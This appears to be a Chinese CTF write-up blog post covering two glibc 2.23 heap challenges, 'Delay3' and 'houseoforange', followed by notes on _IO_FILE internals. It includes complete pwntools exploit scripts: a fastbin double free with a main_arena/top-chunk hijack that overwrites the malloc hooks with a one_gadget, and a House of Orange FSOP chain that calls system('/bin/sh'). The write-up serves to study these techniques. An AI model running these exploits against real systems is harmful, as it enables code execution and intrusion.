0%

Delay3

1
2
3
4
5
6
➜  [/home/ywhkkx/桌面] ./Delay3 
I am lazy again...
1. add
2. show
3. delete
choice :
1
2
3
4
5
6
7
8
Delay3: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=edcd74af07248bb015dfdb61762ab93dce45667f, stripped

[*] '/home/ywhkkx/桌面/Delay3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release versio

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
void delete()
{
unsigned int index; // [rsp+Ch] [rbp-4h]

puts("id:");
index = read_s();
if ( index <= 9 && chunk_list[index] )
free((void *)chunk_list[index]); // UAF
else
puts("Invalid id!");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall read_r(__int64 chunk, int size)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 canary; // [rsp+18h] [rbp-8h]

canary = __readfsqword(0x28u);
for ( i = 0; i < size; ++i )
{
if ( (unsigned int)read(0, &buf, 1uLL) == -1 )
{
puts("error!");
exit(0);
}
*(_BYTE *)(chunk + i) = buf;
if ( buf == 10 )
{
*(_BYTE *)(i + chunk) = 0; // off-by-one
return __readfsqword(0x28u) ^ canary;
}
}
*(_BYTE *)(i + chunk) = 0;
return __readfsqword(0x28u) ^ canary;
}

入侵思路

  • 对“size”的限制导致 chunk 无法进入 unsortedbin
  • read_r 对末尾字节的置空限制了打印模块(同时也带来了 off-by-one)
  • 程序每5秒钟置空一次 chunk_list

因为多线程会导致GDB打印不了数据,所以先把“pthread_create”改为了“menu”,把chunk的数量限制也改了:(再源文件中可以通过 sleep 获得原本的效果)

1
2
3
4
.text:0000000000000ED5                 lea     rdx, start_routine ; start_routine
.text:0000000000000EDC mov esi, 0 ; attr
.text:0000000000000EE1 mov rdi, rax ; newthread
.text:0000000000000EE4 call menu // 原本是pthread_create

先泄露“heap_addr”:

1
2
3
4
5
6
7
8
9
10
add(0x48,'0'*0x10)
add(0x48,'1'*0x10)
delete(1)
delete(0)
delete(1)

show(0)
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
heap_addr=leak_addr-0x50
success('heap_addr >> '+hex(heap_addr))

限制了 unsortedbin 怎么泄露“libc_base”呢?

  • tcache perthread corruption 劫持 count(直接排除)
  • house of orange 中的思想:当 top chunk->size 不足时会把整个 top chunk 放入 unsortedbin,所以通过覆盖 top chunk->size 的方式进行入侵(行不通,因为页对齐的原因“size”最小为“0xf41”)
  • 因为本程序每5秒钟都会清空一次 chunk_list ,所以理论上来说,可以无限申请 chunk,这时就需要利用这个机制把 top chunk 申请完,剩下的 top chunk 进入unsortedbin时乘机泄露(也失败了,因为程序会在半分钟后自动关闭)
  • 利用 Double free 实现 overlap ,覆盖某个chunk的size来使该chunk可以进入 unsortedbin(好像可行)
1
2
3
Allocated chunk
Addr: 0x55bbab8f3060
Size: 0x100
1
2
3
4
5
6
7
8
9
10
11
12
13
add(0x48,p64(leak_addr-0x10))
add(0x48,'3'*(0x48-0x18)+p64(0)+p64(0x50))
add(0x48,'4'*0x8)
payload=p64(0)+p64(0xa1)
add(0x48,payload)
add(0x48,'5'*0x8)
add(0x48,'6'*0x8)
delete(1)
show(1)
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base=leak_addr-0x3c4b78
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

接下来就是利用了,我第一个想到 malloc_hook:

1
2
3
pwndbg> x/20xg 0x7f7b59291b05
0x7f7b59291b05 <__memalign_hook+5>: 0x7b58f52a7000007f 0x000000000000007f
0x7f7b59291b15 <__malloc_hook+5>: 0x0000000000000000 0x0000000000000000

又是因为“size”的限制,hook 打不了

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7f362e950b78
00:00000x7f362e950b78 (main_arena+88) —▸ 0x561957262140 ◂— 0x0
01:00080x7f362e950b80 (main_arena+96) ◂— 0x0
02:00100x7f362e950b88 (main_arena+104) —▸ 0x561957262000 ◂— 0x0
03:00180x7f362e950b90 (main_arena+112) —▸ 0x561957262050 ◂— 0x0

all [corrupted]
FD: 0x561957262000 —▸ 0x7f362e950b78 (main_arena+88) ◂— 0x561957262000
BK: 0x561957262050 —▸ 0x7f362e950b78 (main_arena+88) ◂— 0x561957262050

最后利用 Double free 通过top chunk的首位“\x55”申请到 main_arena 中,却始终劫持不了 hook,在被堆风水和段错误折磨了6个多小时后,我蚌埠住了(其实最恶心的一点是:在多线程中,GDB打印不了数据了,如果 nop 掉多线程操作,有些步骤又没法完成,吐了)

1
2
3
4
5
6
7
8
9
10
11
pwndbg> bins /* 一边红的GDB */
'fastbins': Print the contents of an arena's fastbins, default to the current thread's arena.
Exception occurred: fastbins: Could not convert Python object: None. (<class 'TypeError'>)
For more info invoke `set exception-verbose on` and rerun the command
or debug it by yourself with `set exception-debugger on`
'unsortedbin': Print the contents of an arena's unsortedbin, default to the current thread's arena.
Exception occurred: unsortedbin: Could not convert Python object: None. (<class 'TypeError'>)
For more info invoke `set exception-verbose on` and rerun the command
or debug it by yourself with `set exception-debugger on`
'smallbins': Print the contents of an arena's smallbins, default to the current thread's arena.
Exception occurred: smallbins: Could not convert Python object: None. (<class 'TypeError'>)

还是学习大佬的wp吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import sys
from pwn import *

context.log_level = 'debug'
context(arch='amd64', os='linux')

def Log(name):
log.success(name+' = '+hex(eval(name)))


elf = ELF('./Delay3')
libc=ELF('./libc-2.23.so')
sh = process('./Delay3')


def Num(n, l=8):
sh.sendline(str(n))

def Cmd(n, wait=True):
if(wait):
sh.recvuntil(' :')
Num(n)

def Add(size, cont=''):
if(len(cont)==0):
cont = 'A'*(size-1)+'\n'
Cmd(1)
sh.recvuntil(':\n')
Num(size)
sh.recvuntil(':\n')
sh.send(cont)

def Show(idx):
Cmd(2)
sh.recvuntil(':\n')
Num(idx)

def Delete(idx):
Cmd(3)
sh.recvuntil(':\n')
Num(idx)

def GDB():
gdb.attach(sh, '''
telescope (0x202040+0x0000555555554000) 16
break *malloc
''')

#chunk arrange
Add(0x48) #A
Add(0x48) #B
Add(0x58, 'A'*0x40+flat(0, 0x51)+'\n') #C
Add(0x58) #D
Add(0x58, 'A'*0x30+flat(0, 0x21, 0, 0)+'\n') #E
#fastbin cyclic
Delete(0)
Delete(1)
Delete(0) #Fastbin->A<->B
#get heap addr
Show(0)
heap_addr = u64(sh.recv(6)+'\x00\x00')-0x170
Log('heap_addr')

#forge big chunk
Add(0x48, flat(heap_addr+0x210)+'\n') #Fastbin->B->A->C
Add(0x48)
Add(0x48)
Add(0x48, flat(0, 0xA1)+'\n') #D's size=0xA1
#get UB chunk
Delete(3) #UB<=>(DE, 0xa0)
#get libc addr
Show(3)
libc.address = u64(sh.recv(6)+'\x00\x00')-0x3c4b78
Log('libc.address')

#Fastbin->A<->B
Delete(0)
Delete(1)
Delete(0)

#forge size in main_arena 1
Add(0x48, flat(0x61)+'\n') #Fastbin->B->A->0x61
#clean PtrArr, because it's Full
sh.recvuntil('clear done!\n')
Num(666)

#forge size in main_arena 2
Add(0x48) #Fastbin->A->0x61
Add(0x48) #Fastbin->0x61
#Fastbin Attack
Add(0x58) #C
Add(0x58) #D
#Fastbin[0x60]->C<->D
Delete(2)
Delete(3)
Delete(2)

#fastbin alloc to main_arena
Add(0x58, flat(libc.address+0x3c4b38)+'\n') #Fastbin->D->C->main_arena
Add(0x58) #Fastbin->C->main_arena
Add(0x58) #Fastbin->main_arena
#forege main_arena->top = __malloc_hook
Add(0x58, '\x00'*0x30+flat(libc.symbols['__malloc_hook']-0x28)[0:6]+'\n')

#alloc to hook
OGG = libc.address+0x4527a
exp = flat(0, 0)
exp+= flat(OGG) #let __malloc_hook = realloc+6 to adjust stack
exp+= flat(libc.symbols['realloc']+8) #let __realloc_hook = OGG
Add(0x58, exp+'\n')

#getshell
#GDB()
Cmd(1)
sh.recvuntil(':\n')
Num(1)

sh.interactive()

先看 leak 过程:(leak 过程没有太大差别)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#chunk arrange
Add(0x48) #A
Add(0x48) #B
Add(0x58, 'A'*0x40+flat(0, 0x51)+'\n') #C
Add(0x58) #D
Add(0x58, 'A'*0x30+flat(0, 0x21, 0, 0)+'\n') #E
#fastbin cyclic
Delete(0)
Delete(1)
Delete(0) #Fastbin->A<->B
#get heap addr
Show(0)
heap_addr = u64(sh.recv(6)+'\x00\x00')-0x170
Log('heap_addr')

#forge big chunk
Add(0x48, flat(heap_addr+0x210)+'\n') #Fastbin->B->A->C
Add(0x48)
Add(0x48)
Add(0x48, flat(0, 0xA1)+'\n') #D's size=0xA1
#get UB chunk
Delete(3) #UB<=>(DE, 0xa0)
#get libc addr
Show(3)
libc.address = u64(sh.recv(6)+'\x00\x00')-0x3c4b78
Log('libc.address')

利用 Double free 在 free chunk 的 FD 中写入“0x61”

1
2
3
4
5
6
7
#Fastbin->A<->B
Delete(0)
Delete(1)
Delete(0)

#forge size in main_arena 1
Add(0x48, flat(0x61)+'\n') #Fastbin->B->A->0x61
1
2
3
4
5
pwndbg> heap
Free chunk (fastbins) | PREV_INUSE
Addr: 0x562feeed8000
Size: 0x51
fd: 0x61

前两个chunk用于“暴露0x61”,后两个chunk继续打 Double free

1
2
3
4
5
6
7
8
9
10
11
#forge size in main_arena 2
Add(0x48) #Fastbin->A->0x61
Add(0x48) #Fastbin->0x61
#Fastbin Attack
Add(0x58) #C
Add(0x58) #D

#Fastbin[0x60]->C<->D
Delete(2)
Delete(3)
Delete(2)
1
2
3
4
5
6
7
8
9
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x61
0x60: 0x55d2842660a0 —▸ 0x55d284266100 ◂— 0x55d2842660a0
0x70: 0x0
0x80: 0x0

刚开始我很疑惑,为什么要在 fastbin-0x50 这里写上 0x61 呢,后来想到当我自己劫持 main_arena 时的经历,fastbin 中的地址存储在 main_arena 靠前的偏移中,于是我打印了下 main_arena:

1
2
3
4
5
6
7
pwndbg> telescope 0x7f59fc5f0b78-88
00:00000x7f59fc5f0b20 (main_arena) ◂— 0x0
... ↓ 3 skipped
04:00200x7f59fc5f0b40 (main_arena+32) ◂— 0x61 /* 'a' */
05:00280x7f59fc5f0b48 (main_arena+40) —▸ 0x55d62de34100 ◂— 0x0
06:00300x7f59fc5f0b50 (main_arena+48) ◂— 0x0
07:00380x7f59fc5f0b58 (main_arena+56) ◂— 0x0

发现“0x61”真的在 main_arena 中,这下可以 Double free 劫持了(刚开始我采用了 top chunk 地址的“0x55”来劫持 main_arena ,结果只能劫持 unsortedbin ,最后发生了严重的段错误)

Double free 劫持 top chunk:(top chunk 比 fastbin,unsortedbin 都要好劫持)

1
2
3
4
5
6
#fastbin alloc to main_arena
Add(0x58, flat(libc.address+0x3c4b38)+'\n') #Fastbin->D->C->main_arena
Add(0x58) #Fastbin->C->main_arena
Add(0x58) #Fastbin->main_arena
#forege main_arena->top = __malloc_hook
Add(0x58, '\x00'*0x30+flat(libc.symbols['__malloc_hook']-0x28)[0:6]+'\n')
1
2
3
4
5
6
7
8
9
10
pwndbg> telescope 0x7f409e371ba8-136
00:00000x7f409e371b20 (main_arena) ◂— 0x0
... ↓ 3 skipped
04:00200x7f409e371b40 (main_arena+32) ◂— 0x61 /* 'a' */
05:00280x7f409e371b48 (main_arena+40) ◂— 0x0
... ↓ 2 skipped
pwndbg>
08:00400x7f409e371b60 (main_arena+64) ◂— 0x0
... ↓ 2 skipped
0b:00580x7f409e371b78 (main_arena+88) —▸ 0x7f409e371ae8 (_IO_wide_data_0+296) ◂— 0x0
1
2
3
4
pwndbg> heap // GDB不能正常显示了,但是看'main_arena+88'的位置,应该是写上了
Allocated chunk
Addr: 0x7f409e371000
Size: 0x7f409e7b8540

成功劫持 top chunk,在我劫持 unsortedbin 的时候,末尾置空这一点始终困扰着我(末尾置空破坏了 main_arena 结构导致了段错误,后来避免段错误后,发现根本通不过检查)

大佬的这种写法可以少去1字节,使“\x00”不会覆盖后面的数据

1
2
3
4
5
OGG = libc.address+0x4527a
exp = flat(0, 0)
exp+= flat(OGG) #let __realloc_hook = one_gadget
exp+= flat(libc.symbols['realloc']+8) #let __malloc_hook = __realloc_hook+8
Add(0x58, exp+'\n')
1
2
3
4
5
6
7
pwndbg> telescope 0x7fe67e7edae8
00:00000x7fe67e7edae8 (_IO_wide_data_0+296) ◂— 0x0
01:00080x7fe67e7edaf0 (_IO_wide_data_0+304) ◂— 0x61 /* 'a' */
02:00100x7fe67e7edaf8 ◂— 0x0
03:00180x7fe67e7edb00 (__memalign_hook) ◂— 0x0
04:00200x7fe67e7edb08 (__realloc_hook) —▸ 0x7fe67e46e27a (do_system+1098) ◂— mov rax, qword ptr [rip + 0x37ec37]
05:00280x7fe67e7edb10 (__malloc_hook) —▸ 0x7fe67e4ad718 (realloc+8) ◂— mov r12, rsi

top chunk 的申请没有“size”的要求,对 __realloc_hook__malloc_hook 的操作是为了重置栈帧


小结:

这6个多小时的解题有点折磨,最后看了wp回头看本题目时,发现思路也挺清晰

反正我是把可能技术都尝试了一遍:

  • 首先是 leak 那里就出来问题,泄露出了“heap_addr”但是泄露不出“libc_base”(“size”的限制)
  • 在此基础上,因为有 off-by-one 所以我选择打 unlink,结果当然失败了,先不管实现了 overlap 有什么用,覆盖“size->P位”的过程会把整个“size”给覆盖掉
  • 使用 Double free 修改了“chunk->size”把它释放到了 unsortedbin 中,泄露了“libc_base”
  • 接下来我当然想到了利用 Double free 劫持 hook,还是因为“size”的原因劫持不了(hook前面也没有“\x55”等可以劫持的地址)
  • 又想到可以控制 top chunk 来打 House Of Force(size限制,排除)和 House Of Einherjar(只能控制 top chunk 前面的区域,控制不了 hook,排除)
  • House Of Orange 肯定也不行
  • FSOP 中 unsortedbin attack 勉强可以执行,但是 FSOP 需要伪造很长的IO_FILE结构体,size明显不符合条件
  • 然后选择 main_arena 劫持,因为 top chunk 那里有“0x55”(main_arena+88),但是接下来只能劫持后面的 unsortedbin 了,末尾置空又会导致严重的段错误

最后止步于此…………

看了大佬的wp,发现其核心在于把“0x61”放入 fastbin 中,而后对应的 main_arena 条目就变为了“0x61”,可以利用 Double free 申请到这里,从而可以控制 top chunk(top chunk的检查比fastbin,unsortedbin少很多)

  • 本题目使我的堆风水提高了不少(我前前后后改了不知道多少遍堆风水,最后才避免了报错)
  • 另外学习到了 main_arena 劫持这门技术(限制“size”时必选)

我觉得我还是缺少历练,需要多多打比赛(挨打),做题(坐牢)

houseoforange

1
2
3
4
5
6
7
8
9
10
➜  [/home/ywhkkx/桌面] ./houseoforange
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice :
1
2
3
4
5
6
7
8
9
houseoforange: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped

[*] '/home/ywhkkx/桌面/houseoforange'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

64位,dynamically,全开

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void edit()
{
struct ORANGE *org; // rbx
unsigned int size; // [rsp+8h] [rbp-18h]
int v2; // [rsp+Ch] [rbp-14h]

if ( upgrade_cnt <= 2u )
{
if ( g_house )
{
printf("Length of name :");
size = get_int();
if ( size > 0x1000 )
size = 4096;
printf("Name:");
read_n(g_house->name, size); // overflow
printf("Price of Orange: ");
org = g_house->org;
org->price = get_int();
color_menu();
printf("Color of Orange: ");
v2 = get_int();
if ( v2 != 56746 && (v2 <= 0 || v2 > 7) )
{
puts("No such color");
exit(1);
}
if ( v2 == 56746 )
g_house->org->color = 56746;
else
g_house->org->color = v2 + 30;
++upgrade_cnt;
puts("Finish");
}
else
{
puts("No such house !");
}
}
else
{
puts("You can't upgrade more");
}
}

修改模块的“size”可以执行控制,导致了严重的堆溢出

入侵思路

本程序没有释放模块,传统的入侵都失效了

本题目是 house of orange 的开山之作,学习本题目也就是为了学习 house of orange 和 FSOP,先挂上大佬的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
from LibcSearcher import *

r = process("./houseoforange")
#context.log_level = 'debug'

elf = ELF("./houseoforange")
libc = ELF('./libc-2.23.so')

def add(size, content, price, color):
r.recvuntil("Your choice : ")
r.sendline('1')
r.recvuntil("Length of name :")
r.sendline(str(size))
r.recvuntil("Name :")
r.send(content)
r.recvuntil("Price of Orange:")
r.sendline(str(price))
r.recvuntil("Color of Orange:") #1-7
r.sendline(str(color))

def show():
r.recvuntil("Your choice : ")
r.sendline('2')

def edit(size, content, price, color):
r.recvuntil("Your choice : ")
r.sendline('3')
r.recvuntil("Length of name :")
r.sendline(str(size))
r.recvuntil("Name:")
r.send(content)
r.recvuntil("Price of Orange:")
r.sendline(str(price))
r.recvuntil("Color of Orange:") #1-7
r.sendline(str(color))

# get the unsortedbin
add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 + p64(0) * 5 + p64(0xf81)
edit(len(payload), payload, 0x1234, 0xddaa)
add(0x1000, 'a\n',0x1234, 0xddaa)

# leak libc_base
add(0x400, 'a' * 8, 0x1234, 0xddaa)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']

# leak heap_addr
payload = 'b' * 0x10
edit(0x10, payload, 0x1234, 0xddaa)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))

# FSOP
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p64(0)*2
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 0x1234, 0xddaa)

r.recvuntil("Your choice : ")
r.sendline('1')

r.interactive()

接下来就借这个 exp 来学习 house of orange 和 FSOP

1
2
3
4
5
# get the unsortedbin
add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 + p64(0) * 5 + p64(0xf81)
edit(len(payload), payload, 0x1234, 0xddaa)
add(0x1000, 'a\n',0x1234, 0xddaa)

函数 add 的后两个参数是凑数的,不用考虑,这里就是为了 unsortedbin

1
2
unsortedbin
all: 0x55ac5249a0c0 —▸ 0x7fa36d3deb78 (main_arena+88) ◂— 0x55ac5249a0c0

泄露 libc_base 的过程没有什么好说的:

1
2
3
4
5
6
7
8
9
10
# leak libc_base
add(0x400, 'a' * 8, 0x1234, 0xddaa)
pause()
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']
1
2
3
0x55cc39c6a0e0:	0x0000000000000000	0x0000000000000411 // add 0x400
0x55cc39c6a0f0: 0x6161616161616161 0x00007ff3f687e188 // leak libc_base
0x55cc39c6a100: 0x000055cc39c6a0e0 0x000055cc39c6a0e0 // leak heap_addr

可以通过泄露 large chunk->FD_nextsize 来泄露 heap_addr:

1
2
3
4
5
6
7
8
# leak heap_addr
payload = 'b' * 0x10
edit(0x10, payload, 0x1234, 0xddaa)
show()
r.recvuntil('b'*0x10) # 这里注意把"\x00"覆盖掉
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))

所以 leak 已经完成,最后就是FSOP了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# fake _IO_list_all(stderr) to FSOP
payload = 'a' * 0x400 + p64(0)*4
fake_file = '/bin/sh\x00'+p64(0x61) # to 0x60 smallbin
fake_file += p64(0)+p64(io_list_all-0x10) # unsortedbin attack
fake_file += p64(0) + p64(1) # _IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) # vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
pause()
edit(len(payload), payload, 0x1234, 0xddaa)
r.recvuntil("Your choice : ") # 执行malloc
r.sendline('1')

这一大串的伪造让人摸不着头脑,但却可以达成目的(有点像SROP)

修改模块覆盖前:

1
2
3
4
0x55e7fa48d4f0:	0x0000000000000000	0x0000000000000021
0x55e7fa48d500: 0x0000ddaa00001234 0x0000000000000000
0x55e7fa48d510: 0x0000000000000000 0x0000000000000ad1
0x55e7fa48d520: 0x00007fd8c195bb78 0x00007fd8c195bb78
1
2
unsortedbin
all: 0x55e7fa48d510 —▸ 0x7fd8c195bb78 (main_arena+88) ◂— 0x55e7fa48d510

修改模块覆盖后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
0x55e7fa48d4e0:	0x6161616161616161	0x6161616161616161 // padding
0x55e7fa48d4f0: 0x0000000000000000 0x0000000000000021
0x55e7fa48d500: 0x0000ddaa00001234 0x0000000000000000
0x55e7fa48d510: 0x0068732f6e69622f 0x0000000000000061 // "/bin/sh" + fake_size
/* 进行unsortedbin遍历时,将会进入进入smallbin-0x60 */
/* 将会被当做是IO_FILE 结构体 */
0x55e7fa48d520: 0x0000000000000000 0x00007fd8c195c510 // unsortedbin attack
/* 向_IO_list_all中写入main_arean+88 */
/* 如果把main_arean+88当成一个IO_FILE结构体 */
/* 那么struct _IO_FILE *_chain指针的地址为main_arena+0xc0(88+0x68) */
/* 而main_arena+0xc0中装有smallbin-0x60的地址 */
/* 在smallbin-0x60中伪造数据,就是在伪造IO_FILE结构体 */
0x55e7fa48d530: 0x0000000000000000 0x0000000000000001
/* _IO_write_base and _IO_write_ptr */
0x55e7fa48d540: 0x0000000000000000 0x0000000000000000
0x55e7fa48d550: 0x0000000000000000 0x0000000000000000
0x55e7fa48d560: 0x0000000000000000 0x0000000000000000
0x55e7fa48d570: 0x0000000000000000 0x0000000000000000
0x55e7fa48d580: 0x0000000000000000 0x0000000000000000
0x55e7fa48d590: 0x0000000000000000 0x0000000000000000
0x55e7fa48d5a0: 0x0000000000000000 0x0000000000000000
0x55e7fa48d5b0: 0x0000000000000000 0x0000000000000000
0x55e7fa48d5c0: 0x0000000000000000 0x0000000000000000
0x55e7fa48d5d0: 0x0000000000000000 0x0000000000000000
/* __pad5 and _mode(修改_mode为“0”非常方便) */
0x55e7fa48d5e0: 0x0000000000000000 0x000055e7fa48d5e8 // vtable_start
/* fake_vtable(IO_2_1_stdin+216) */
0x55e7fa48d5f0: 0x0000000000000000 0x0000000000000000
0x55e7fa48d600: 0x00007fd8c15dd380 0x0000000000000000 // system(vtable+32)
/* vtable+32就是__overflow,劫持overflow为system(整个结构体作为overflow的参数) */
0x55e7fa48d610: 0x0000000000000000 0x0000000000000000
0x55e7fa48d620: 0x0000000000000000 0x0000000000000000
0x55e7fa48d630: 0x0000000000000000 0x0000000000000000

现在简单解释一下程序为什么会调用 overflow:(这是FSOP的内容)

因为我们修改了 unsortedbin 的结构,使其不合法了,导致程序触发异常并执行“malloc_printerr”,从而调用了 _IO_flush_all_lockp ,最后调用 _IO_OVERFLOW(虚表调用,但虚表已被伪造)

house of orange 小结(2.23-64位)

house of orange 真的是特别精妙的漏洞利用,这里简述一下它的过程

  • 利用堆溢出修改 top chunk->size 为“0xf81”
  • 申请一个较大的 chunk,把 top chunk 放入unsortedbin
  • 申请“0x400”进行泄露
  • 再次溢出,修改 unsorted chunk->size 为“0x60”,在遍历 unsortedbin 之时可以被放入 smallbin
  • 利用 unsortedbin attack 向 IO_list_all 中写入 main_arena+88(被当成一个IO_FILE结构体)
  • 在大小为“0x60”的 smallbin 中伪造IO_FILE结构体,劫持虚表到可控区域
  • _IO_OVERFLOW 的位置写入“system”

IO_FILE pwn

FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流

FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始会自动创建的三个文件即 stdin、stdout、stderr,它们是在libc上

先借 libc-2.23 说明一下 FILE 结构:

在 libc-2.23 版本中,有个全局变量_IO_list_all,该变量指向了FILE链表的头部

首先认识一个结构体_IO_FILE_plus,所有 FILE 文件结构都是这样的一个结构体,整个结构体如下代码所示,其中又包括了两个重要的结构体_IO_FILEIO_jump_t

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
_IO_jump_t *vtable;
}

在 GDB 中输入以下命令可以打印 _IO_list_all :(这里通过在前面加上结构体类型可以详细的打印其内存数据信息)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p/x*(struct _IO_FILE_plus*)_IO_list_all
$1 = {
file = {
_flags = 0xfbad2086,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd2620, // 指向下一个链表节点(stderr的下一个:stdout)
_fileno = 0x2, // fileno值为2(标准错误流的文件描述符就是'2')
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = {0x0},
_lock = 0x7ffff7dd3770,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd1660,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = {0x0 <repeats 20 times>}
},
vtable = 0x7ffff7dd06e0
}

这就是 _IO_list_all 变量, 其指向 FILE 链表的头部 ,结合上面的结构体可知,file对应的就是 _IO_FILE 结构类型,vtable 对应的就是 _IO_jump_t 类型

在没有创建其它文件结构时, _IO_list_all 指向stderr,然后依次是 stdout 和 stdin(可以通过打印 _chain 进行查看):

1
2
3
4
5
6
7
8
9
pwndbg> p/x _IO_list_all
$2 = 0x7ffff7dd2540
pwndbg> p/x stderr
$3 = 0x7ffff7dd2540

pwndbg> p/x _IO_list_all.file._chain
$4 = 0x7ffff7dd2620
pwndbg> p/x stdout
$5 = 0x7ffff7dd2620
1
2
3
4
5
6
7
8
pwndbg> telescope 0x7ffff7dd2520
00:00000x7ffff7dd2520 (_IO_list_all) —▸ 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2086
pwndbg> telescope 0x7ffff7dd2540
00:00000x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2086
01:00080x7ffff7dd2548 (_IO_2_1_stderr_+8) ◂— 0x0
pwndbg> telescope 0x7ffff7dd2620
00:00000x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2084
01:00080x7ffff7dd2628 (_IO_2_1_stdout_+8) ◂— 0x0

由于 _IO_FILE_plus 中只是存储了 vtable 的指针,并没有存储详细的结构信息,所以这里我们进一步打印一下 vtable :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p*(struct _IO_jump_t*)_IO_list_all.vtable 
$6 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7a869d0 <_IO_new_file_finish>,
__overflow = 0x7ffff7a87740 <_IO_new_file_overflow>,
__underflow = 0x7ffff7a874b0 <_IO_new_file_underflow>,
__uflow = 0x7ffff7a88610 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a89990 <__GI__IO_default_pbackfail>,
